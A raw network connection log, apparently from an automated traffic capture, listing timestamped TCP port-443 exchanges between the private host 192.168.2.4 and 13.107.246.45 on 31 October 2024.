Oct 31, 2024 17:26:59.968103886 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.968195915 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.968208075 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.968216896 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.968224049 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.970115900 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.970130920 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.970191002 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.970328093 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.970339060 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.011879921 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.012037992 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.012134075 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.012293100 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.012306929 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.012317896 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.012322903 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.015325069 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.015357018 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.015450001 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.015625000 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.015639067 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.690788984 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.695461988 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.695487022 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.695949078 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.695954084 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.703087091 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.703985929 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.704046965 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.704401970 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.704418898 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.713577986 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.715034008 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.715056896 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.715480089 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.715487003 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.737355947 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.737792015 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.737818956 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.738262892 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.738276005 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.741668940 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.742019892 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.742055893 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.742428064 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.742433071 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.820003033 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.820169926 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.820221901 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.820307016 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.820307016 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.820322037 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.820328951 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.823470116 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.823503971 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.823569059 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.823759079 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.823771954 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.831434965 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.831672907 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.831732035 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.831792116 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.831792116 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.831829071 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.831854105 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.834232092 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.834264040 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.834321022 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.834467888 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.834477901 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.847791910 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.848031044 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.848082066 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.848125935 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.848134041 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.848145008 CET	62848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.848149061 CET	443	62848	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.850294113 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.850315094 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.850384951 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.850495100 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.850507975 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.866710901 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.866856098 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.866902113 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.866976023 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.866980076 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.866988897 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.866991997 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.869147062 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.869163036 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.869224072 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.869373083 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.869384050 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.870016098 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.870286942 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.870332956 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.870357990 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.870368958 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.870378017 CET	62849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.870382071 CET	443	62849	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.872364044 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.872379065 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:00.872440100 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.872589111 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:00.872596979 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.556067944 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.556785107 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.556814909 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.557305098 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.557312012 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.577666998 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.578330040 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.578362942 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.578790903 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.578797102 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.595191956 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.595556021 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.595571041 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.595968008 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.595974922 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.603955030 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.604337931 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.604351044 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.604770899 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.604777098 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.606930971 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.607247114 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.607276917 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.607628107 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.607634068 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.691896915 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.691972971 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.692028046 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.692265034 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.692290068 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.692303896 CET	62850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.692312002 CET	443	62850	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.695519924 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.695585966 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.695660114 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.696059942 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.696084976 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.709703922 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.709779024 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.709832907 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.709908009 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.709932089 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.709944963 CET	62852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.709953070 CET	443	62852	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.712347031 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.712425947 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.712519884 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.712618113 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.712666988 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.723490953 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.723939896 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.723998070 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.724065065 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.724065065 CET	62853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.724097967 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.724123001 CET	443	62853	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.726634979 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.726669073 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.726727962 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.726849079 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.726861954 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.736119032 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.736186028 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.736236095 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.736294031 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.736306906 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.736320019 CET	62854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.736326933 CET	443	62854	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.738574982 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.738605022 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.738676071 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.738807917 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.738836050 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.744009018 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.744371891 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.744420052 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.744453907 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.744453907 CET	62851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.744469881 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.744477987 CET	443	62851	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.746543884 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.746566057 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:01.746618986 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.746753931 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:01.746766090 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.443341970 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.444175005 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.444217920 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.444669008 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.444684982 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.445238113 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.446808100 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.446832895 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.447159052 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.447164059 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.456298113 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.457664013 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.457676888 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.458040953 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.458045006 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.476394892 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.476895094 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.476907969 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.477380037 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.477384090 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.504456997 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.504918098 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.504942894 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.505415916 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.505419970 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579045057 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579117060 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579173088 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579211950 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.579338074 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579458952 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.579473019 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579492092 CET	62856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.579498053 CET	443	62856	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579504967 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.579580069 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.579580069 CET	62855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.579622984 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.579653025 CET	443	62855	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.582613945 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.582614899 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.582644939 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.582657099 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.582731009 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.582895994 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.582895994 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.582906961 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.582917929 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.582937956 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.584886074 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.584965944 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.585571051 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.585716963 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.585730076 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.585750103 CET	62857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.585756063 CET	443	62857	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.587701082 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.587735891 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.587814093 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.587935925 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.587945938 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.642479897 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.642537117 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.642658949 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.642848969 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.642863989 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.642879009 CET	62858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.642884970 CET	443	62858	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.645385027 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.645426035 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:02.645508051 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.645652056 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:02.645664930 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.038214922 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.038675070 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.038875103 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.299043894 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.310867071 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.317579031 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.351291895 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.351308107 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.366883993 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.374928951 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.396049976 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.396075964 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.396470070 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.396475077 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.396779060 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.396810055 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.396960020 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.396979094 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.397161961 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.397172928 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.397340059 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.397367954 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.397382975 CET	62859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.397388935 CET	443	62859	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.397486925 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.397499084 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.397758007 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.397763014 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.398197889 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.398204088 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.401278973 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.401305914 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.401367903 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.401513100 CET	62864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.401523113 CET	443	62864	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.519978046 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.520229101 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.520304918 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.520401001 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.520423889 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.520436049 CET	62860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.520442009 CET	443	62860	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523142099 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523320913 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523411036 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523480892 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.523510933 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.523524046 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523536921 CET	62863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.523541927 CET	443	62863	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523596048 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.523638010 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523689032 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.523821115 CET	62865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.523833036 CET	443	62865	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523958921 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.523999929 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.524013996 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.524039030 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.524060011 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.524104118 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.524108887 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.524118900 CET	62862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.524122000 CET	443	62862	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.524156094 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.524167061 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.524178982 CET	62861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.524183035 CET	443	62861	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.526391983 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.526426077 CET	443	62866	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.526496887 CET	62866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.526542902 CET	62867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.526551008 CET	443	62867	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:03.526593924 CET	62867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:03.526716948 CET	62867	443	192.168.2.4	13.107.246.45
